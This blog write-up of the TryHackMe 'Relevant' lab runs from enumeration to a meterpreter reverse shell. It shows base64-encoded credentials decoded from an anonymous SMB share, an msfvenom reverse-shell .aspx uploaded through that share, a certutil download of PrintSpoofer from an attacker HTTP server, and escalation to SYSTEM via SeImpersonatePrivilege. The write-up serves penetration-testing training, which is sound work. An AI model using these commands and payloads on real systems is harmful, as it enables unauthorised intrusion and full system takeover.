TryHackMe - Relevant - Writeup
Posted June 28, 2021 by Mark O'Kane ‐ 10 min read
As a ‘medium’ lab and part of TryHackMe’s Offensive Pentesting learning path, this is a box designed to put everything you’ve learned so far into practice.
Enumeration
Nmap
To start off, once we’ve booted up this box and given it 5mins for all services to start, we’ll kick things off with nmap as always.
On first attempt, I neglected to include -p- to scan all high ports also and this cost me some time. So we’ll use the following:
$ sudo nmap -T4 -A -p- 10.10.44.33
Looking at the results of the portscan, we’ve got a few avenues to go down.
┌──(kali㉿kali)-[~/thm/relevant]
└─sudo nmap -T4 -A -p- 10.10.44.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 09:39 EDT
Nmap scan report for 10.10.44.33
Host is up (0.026s latency).
Not shown: 65526 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2021-06-27T13:41:55+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2021-06-26T13:33:40
|_Not valid after: 2021-12-26T13:33:40
|_ssl-date: 2021-06-27T13:42:35+00:00; 0s from scanner time.
49663/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|2012 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2016 (88%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-06-27T06:41:58-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-27T13:41:57
|_ start_date: 2021-06-27T13:33:54
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 27.02 ms 10.11.0.1
2 27.08 ms 10.10.44.33
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.73 seconds
Nmap has given us it’s guess at the operating system, so it’s always worth using searchploit or checking google for a quick win. In this case we weren’t that lucky.
Next up, we’ll check out those web servers on port 80 and 49663 to see if there’s any opportunity further enumeration.
IIS Default webpage for both.
Nothing useful there, though there could be more to find if we look for some subdirectories for each webserver.
Let’s fire up Gobuster and set it running for each. There are a few built in wordlists to choose from for directory enumeration, though I tend to stick to /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt. It can take a while, but usually covers most of what you need, especially when it comes to CTFs.
$ gobuster dir -u http://10.10.44.33:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
$ gobuster dir -u http://10.10.44.33:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
SMB
While gobuster gets to work, we’ll try to enumerate via another route - SMB
We can see ports 135, 139 and 445 are open. We can try to list the SMB shares using smbclient.
$ sudo smbclient -L 10.10.44.33
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
nt4wrksv Disk
SMB1 disabled -- no workgroup available
We try connecting to the C$ share. No access here. It’s the same result on ADMIN$ and IPC$.
Last attempt, nt4wrksv - we get lucky. The share is open with anonymous access.
┌──(kali㉿kali)-[~/thm/relevant]
└─$ sudo smbclient \\\\10.10.251.127\\nt4wrksv
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jul 25 17:46:04 2020
.. D 0 Sat Jul 25 17:46:04 2020
passwords.txt A 98 Sat Jul 25 11:15:33 2020
7735807 blocks of size 4096. 5134278 blocks available
If we list the contents of the nt4wrksv share, we see one very interesting file; “passwords.txt”. We’ll take a copy of this text file and have a look inside.
┌──(kali㉿kali)-[~/thm/relevant]
└─$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
The contents of the file both describe and look like encoded passwords. Straight away these look like base64, so we could work it out with base64 -d
.
A convenient method I choose is a script called decodify. This identifies the encoding and returns the decoding string swiftly.
┌──(kali㉿kali)-[/opt/Decodify]
└─$ dcode Qm9iIC0gIVBAJCRXMHJEITEyMw==
__ __
|/ | | / /
| | ___ ___ ___ ___| (
| )|___)| | )| )| |___ \ )
|__/ |__ |__ |__/ |__/ | | \_/
/
[+] Decoded from Base64 : Bob - !P@$$W0rD!123
Once decoded, we end up with what looks like two usernames and their associated passwords. Great, lets see where we can use them to get us further.
We’ll attempt to use each login to access each of the 3 previously inaccessible shares, ADMIN$, C$ and IPC$.
Still no access.
Gobuster
With our options exhausted here, lets look back at our gobuster runs and see if it brought up anything interesting. While every found directory returns error 400 for port 80, port 49663’s results are more interesting:
┌──(kali㉿kali)-[~/thm/relevant]
└─$ gobuster dir -u http://10.10.44.33:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.44.33:49663
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/27 09:45:07 Starting gobuster in directory enumeration mode
===============================================================
/*checkout* (Status: 400) [Size: 3420]
/*docroot* (Status: 400) [Size: 3420]
/* (Status: 400) [Size: 3420]
/http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/http%3A (Status: 400) [Size: 3420]
/q%26a (Status: 400) [Size: 3420]
/**http%3a (Status: 400) [Size: 3420]
/*http%3A (Status: 400) [Size: 3420]
/**http%3A (Status: 400) [Size: 3420]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 3420]
/http%3A%2F%2Fblogs (Status: 400) [Size: 3420]
/http%3A%2F%2Fblog (Status: 400) [Size: 3420]
/**http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/s%26p (Status: 400) [Size: 3420]
/%3FRID%3D2671 (Status: 400) [Size: 3420]
/devinmoore* (Status: 400) [Size: 3420]
/200109* (Status: 400) [Size: 3420]
/*sa_ (Status: 400) [Size: 3420]
/*dc_ (Status: 400) [Size: 3420]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 3420]
/Chamillionaire%20%26%20Paul%20Wall-%20Get%20Ya%20Mind%20Correct (Status: 400) [Size: 3420]
/Clinton%20Sparks%20%26%20Diddy%20-%20Dont%20Call%20It%20A%20Comeback%28RuZtY%29 (Status: 400) [Size: 3420]
/DJ%20Haze%20%26%20The%20Game%20-%20New%20Blood%20Series%20Pt (Status: 400) [Size: 3420]
/http%3A%2F%2Fradar (Status: 400) [Size: 3420]
/q%26a2 (Status: 400) [Size: 3420]
/login%3f (Status: 400) [Size: 3420]
/Shakira%20Oral%20Fixation%201%20%26%202 (Status: 400) [Size: 3420]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 3420]
/http%3A%2F%2Fweblog (Status: 400) [Size: 3420]
/http%3A%2F%2Fswik (Status: 400) [Size: 3420]
/nt4wrksv (Status: 301) [Size: 157] [--> http://10.10.44.33:49663/nt4wrksv/]
===============================================================
2021/06/27 10:30:49 Finished
===============================================================
Right at the end, we see a 301 redirect - and it’s something familiar.
/nt4wrksv
Finding a directory with the same name as an smb share, perhaps both of these are in fact one and the same.
We know there’s a file called passwords.txt in that directory, so let’s try navigating to this in a browser. You can also use curl for this.
SUCCESS, we see the contents of the file.
So if we can execute this file on the webserver, maybe we can execute a malicious file of our own also. We’ll need a proof of concept first - create a sample text file and attempt to upload it to the share via smbclient. Navigate to the address of this file of ours and it works!
Foothold
We have our point of entry, next we’ll look at using msfvenom to craft a payload to gain a reverse shell. As it’s an IIS webserver, I’ve chosen to create the payload in the form of a .aspx file.
As for the payload, I’ve gone for a windows meterpreter reverse shell. As mentioned in the lab description, this lab could be done entirely without metasploit, though I’ve still chosen to go with meterpreter for convenience. After initial trial and error, I had to go for the x64 payload to match the target architecture.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.11.36.117 lport=4444 -f aspx > reverse.aspx
Connect to the nt4wrksv share again via smbclient and use the put command to upload the payload to the share.
In order to catch the payload, we’ll start up metasploit multi/handler:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
We set the payload, local host and local port values to match that of our payload, then set it running.
To fire off the payload, we can either navigate to it in the browser or using curl:
$ curl http://target-ip:49663/nt4wrksv/reverse.aspx
Check back on our listener and we should now have a meterpreter shell!
[*] Sending stage (200262 bytes) to 10.10.28.59
[*] Meterpreter session 1 opened (10.11.36.117:4444 -> 10.10.28.59:49692) at 2021-06-27 10:49:13 -0400
meterpreter >
With a bit of light enumeration, we find the user flag on user Bob’s desktop.
meterpreter > cat C:/Users/Bob/Desktop/user.txt
THM{**********************}
PrivEsc
Now we have the user flag, next on the agenda is root.
As the lab description stated automated tools are not required, we can assume the use of scripts like winPEAS shouldn’t be necessary.
Let’s drop into a shell from meterpreter and run some standard manual enumeration steps.
First step - learn about your current user privileges. whoami /all
is a great place to start and in this case, was all we needed.
c:\windows\system32\inetsrv>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We see a privilege enabled that sounds too interesting not to investigate, SeImpersonatePrivilege.
A quick google of SeImpersonatePrivilege exploit hands us what looks like two separate exploitation scripts - JuicyPotato and PrintSpoofer.
As it seemed simpler for what was required, I decided to go with PrintSpoofer. For even further convenience, a pre-compiled exe can be found here
With meterpreter, file upload to target is easy using the built in upload
command.
If not using meterpreter, start a python http server in the directory where you have the exe and use certutil from the target to download the file to the temp directory.
$ python3 -m SimpleHTTPServer 8080
c:\windows\temp> certutil -urlcache http://your-ip:8080/PrintSpoofer.exe PrintSpoofer.exe
When you have the executable on the target machine, run it as instructed to spawn a cmd shell as SYSTEM
c:\windows\temp>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Like for the user flag, some light enumeration will find the next flag on the Desktop of the Administrator home folder.
User owned. Root owned. We’re done!